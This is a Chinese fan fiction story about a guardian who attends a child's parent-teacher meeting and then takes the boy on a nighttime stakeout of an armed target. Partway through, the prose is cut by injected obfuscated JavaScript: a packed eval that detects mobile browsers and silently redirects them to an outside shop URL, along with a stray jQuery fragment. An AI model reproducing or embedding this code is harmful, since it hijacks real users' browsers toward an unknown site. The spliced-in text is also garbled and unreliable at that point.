冰箱上贴着一张纸。
甚尔放学回来，在玄关把鞋踢下来——他不摆鞋了。然后从书包里掏出一张纸，没说话，拍在桌上，钻进沙发开游戏机去了。
学校发的印刷单，他隔几天带回来一张。家庭联络、要带的东西、缴费单。甚尔从不看，全拍在桌上，归孔。这小鬼大概觉得，凡是纸的事，都归孔。纸大臣。
孔时雨从厨房出来，叼着烟，拿过那张纸看了一眼。
保護者会。本周四下午两点。请监护人务必出席。
务必。
底下还印着一行小字：请尽量由父母本人参加。
孔时雨翻开手机，看了眼那一周。
周四下午三点，新桥，老客户，一批东西的交接。
两个下午，叠在一块儿。
其中一个不能改。
他盯着那两行看了会儿。客厅里游戏机的电子音叮叮咚咚，甚尔窝在沙发里，背对着他，头也不回，但开口了，表示有空去没空不去。
——
他给客户回消息：改上午十点。
对方不太高兴。这种老客户，时间向来是他定，约三点就是三点，临时往前挪五个钟头，等于让人把一整天推倒重排。隔了好一会儿才回过来一个字：
行。
后头又跟一句，孔桑最近挺忙啊。
孔时雨没解释。
他能解释什么。说下午要去坐一屋子妈妈中间，听老师讲讲他家小孩在学校乖不乖？
这话传出去，这行里他这张脸就别要了。
——
上午十点，新桥。写字楼底下一家咖啡店，落地窗，外头是赶完早高峰、慢下来的人流，一排排西装。店里还坐着几桌谈事的，压着声音。孔时雨挑了最里头、看得见门的卡座。
东西验了，钱清了，前后没超过二十分钟。这种交接他做过几百回，闭着眼都能走完。客户把东西收进包里，本该走了，端着杯子又坐了一会儿。
“下午真没空？”
“没空。”
“什么大事，神神秘秘的。”
“私事。”
客户笑了一声，没再问。这行里谁都有几样不能说的私事。他大概当孔时雨是去见哪条线、哪个人了。
让他猜去。
——
周四下午两点，世田谷。
从大田区开过去二十多分钟。越往里走，路越宽，街越静。独栋的房子一栋挨一栋，矮墙里探出修剪齐整的树，门口停着擦得干净的车。有钱人住的地界。
那所私立小学在一条安静的坡道上。灰砖围墙，铁艺校门，门旁立着块刻了校名的石碑。校门口不让停，孔时雨把车停在隔一条街，附近零星停着几辆来接送的车，都不便宜。孔时雨走着去往校门。
进校门得换鞋。玄关一长排来客用拖鞋，塑料的，蓝白格子，挤脚。孔时雨把皮鞋脱了摆进鞋柜，套上拖鞋往里走。西装配格子拖鞋，他低头看了一眼，没什么感想。
教室在二楼。走廊一侧是窗，午后的光铺了一地。另一侧墙上贴满孩子们的画，花花绿绿，太阳画成红的，房子画得比人大。一股小学特有的气味——粉笔、牛奶、塑料文具，还混着不知哪间飘出来的午饭余味。
教室里课桌椅都是小号的。黑板一角留着没擦净的值日表。孩子放学走光了，椅子上坐着一圈大人，多半是妈妈，穿得齐整，三三两两，进门先互相点头，压着嗓子寒暄。
孔时雨在后排找了个空位坐下。
椅子是给小学生坐的。他坐进去，膝盖直顶桌子底沿，西装裤绷着。想把腿往外伸，伸不开，前头又是一张小桌。
得，圈这儿了。
——
班主任是个三十来岁的女老师，站讲台前讲话。新学期安排、运动会日程、夏天前要交的几样东西、暑期注意事项。
孔时雨听了个大概。这种场合他知道怎么待——人在，脸上挂着，脑子可以飘走。窗外操场上有人在跑步，体育社团的哨声断断续续传上来。
别人桌上都摆着东西。笔记本、课程表、印好的通知单，有人还备着支笔，老师讲到要紧处就低头记两笔。
他桌上什么都没有。
“……暑期建议各位家长，安排一些亲子阅读，”老师说，“书单回头发到联络群里。”
前后左右一片低头，笔尖沙沙。
孔时雨本来没动。瞥见旁边那位记得认真，他顿了顿，从西装内袋摸出个本子。
里面记的是些别的——名字、数目、几点几分在哪儿交接，哪条线松了，哪个人碰不得。他翻过那几页，翻到后头一张空的，跟前面那些隔着老远，提笔。
亲子阅读。书单，联络群。
写完看了一眼。这本子里多出这一页，拿在手里多少有点陌生了。
“还有”，老师接着说，“平时请家长多跟孩子交流。”
交流。
孔时雨脑子里过了遍他跟那家伙一天到晚说的话。起来，上车，吃什么了，作业写了，睡了。
凑一块儿也就这么些。
行，交流过了。
四十分钟，他换了三回腿的姿势，小椅子坐得后腰发酸。他想，下回这种会，能不能站后头。
会散了。家长起身收拾、互相道别、往门口走，换鞋的动静响成一片。
人散得差不多时，班主任朝他走过来。
“伏黑同学的家长。”
孔时雨站起来，膝盖响了一下。
“伏黑同学，适应得不错。”老师笑笑，客客气气的，“就是有一点，想跟您说一声。”
这家伙在学校能出什么事。
“他打人了？”
老师明显愣了一下。“……不是。”
“那就行。”
孔时雨这反应反倒把她顿住了，卡了卡才往下说。
“是这样”，她斟酌着用词，“伏黑同学很安静。下课别的小朋友叫他一起玩，他也去——可总像是站在旁边看，进不太去。一个人也不哭不闹，很独立。就是……不太合群。”
孔时雨点头。
“小孩子嘛，到了新环境，慢慢就熟了。”老师把话往宽里圆，“就是想让家长知道一声。平时在家，多带他跟同龄孩子走动走动，会好些。”
“明白。”孔时雨说，“我带他出去走走。”
老师又客气了两句，孔时雨“是”、“好”应着，退了出来。
走廊上没人了，午后的光斜铺一地。两边墙上还是那些花花绿绿的画，红太阳，大房子，底下歪歪扭扭签着名字。一间空教室里，值日生在擦黑板，粉笔灰浮在光柱里。
孔时雨穿过走廊，脚上那双蓝白格子拖鞋啪嗒啪嗒地响。到玄关，把拖鞋脱了，换回皮鞋，摆回那排格子拖鞋里头，出了校门。
——
甚尔在校门口等着。
放学早过了，门口零零散散还剩几个孩子，等家长，或凑一块儿说话。日头偏西，把校门的影子拉长，斜过半条坡道。甚尔站在台阶边，离那几堆人两三步，书包背在背上，没凑过去，也没走开。就那么站在那。
跟老师说的一个样。
看见孔时雨出来，他没问会上讲了什么，转身跟上来。
两个人往停车那条街走。一前一后，甚尔走前头半步——从京都就有的习惯。
——
上了车。孔时雨发动，没急着开。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17606394|205738||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
扭头看了眼副驾上那身深蓝制服。交流，他想着。
“你不跟别的孩子一块玩？”
“玩了。”
“老师说你一直在旁边看。”
“我在看他们怎么相处。”
孔时雨松手刹，打方向，车拐出巷子，并进主路。
“看出什么来了吗？”
“差不多。”
红灯。
“然后呢？”
甚尔看着窗外。
“没什么意思。”
绿灯。
孔时雨没接话，抬脚给油。
——
车往北开。
出了住宅区，路两边的楼一截比一截旧。新房少了，招牌掉了漆，卷帘门拉着一半。过了一条铁路，进了个那种白天也没几个人的老街区——小工厂、仓库、住了几十年的公寓，外墙爬着锈痕和水渍。
天一点点暗下去。先发灰，再发青，然后路灯一盏盏亮起来，黄色的光，隔得老远一盏，照不全脚下的路。
甚尔看了眼窗外，认出方向不对——不是回家的路。
他没问。
“今晚有个活。”孔时雨说，“穿着校服正好。没人会多看一个穿校服的小孩。”
“好。”
带他出去走走，孔时雨想到自己刚才跟老师说的话。
甚尔抬手把领口那颗扣子解开。规规矩矩坐了一下午的小学生，喘出一口气。
——
天彻底黑下来时，车停在一片旧公寓后头。
这一带没什么人。一排五层的老楼，多半的窗户黑着，亮着的那几扇拉着窗帘。楼后是条窄巷，堆着废弃的家什和几个生锈的自行车架。路灯在巷口，光到这儿就散了，剩一片化不开的黑。
孔时雨熄了火，没下车。两个人坐在暗处，等。
车里没开灯。引擎的余温还在，玻璃上起了层薄雾。甚尔靠在副驾上，呼吸很轻。孔时雨偏过头，黑暗里能看见的，只有那身深蓝的轮廓，和那双反着一点光的眼睛。
像两点磷火。京都那院子里第一回见，就是这样。
车里很静。
巷子那头隔一会儿过一辆车，车灯扫过来，在挡风玻璃上拉一道白，又过去了。然后又是黑。
孔时雨看了眼表。八点过几分。目标这种人，下班、吃饭、出门抽根烟透口气，钟点摸熟了，差不离就这一会儿。
甚尔不知什么时候不出声了。等活儿的安静——身子滑下去一截，眼睛没合。京都山里那回也是这样，赤脚踩在杉树落叶上，一声不出。
孔时雨没说话，等就是等，这一行多半时间都耗在等上头。
——
公寓侧门开了。
一个男人出来，中等个，夹克，在台阶下低头点烟。火苗亮了一下，照见半张脸，又灭了。
“目标来了。”孔时雨压低声音，“看出什么没有？”
甚尔看着那个男人。
看了一会儿。
“他左手没怎么动。”甚尔说，“接火、点烟，都用右手。左手一直揣兜里。那只袖子鼓起来，里头有东西。”
孔时雨顺着看过去。那只左手，从男人出门到现在，没离开过口袋。
“枪。”孔时雨说，“惯用左。点烟特意换右手，是装的，怕暴露。”
“嗯。”
孔时雨摁灭烟。“那只不肯出来的手，以后多留意。”
甚尔没出声。但他记下了——这小鬼记东西一遍就够。
“走。”
两个人从车里出来，没声音。一个大的，一个小的，贴着楼的暗面过去。
那点制服的深蓝，很快也隐进了黑暗里。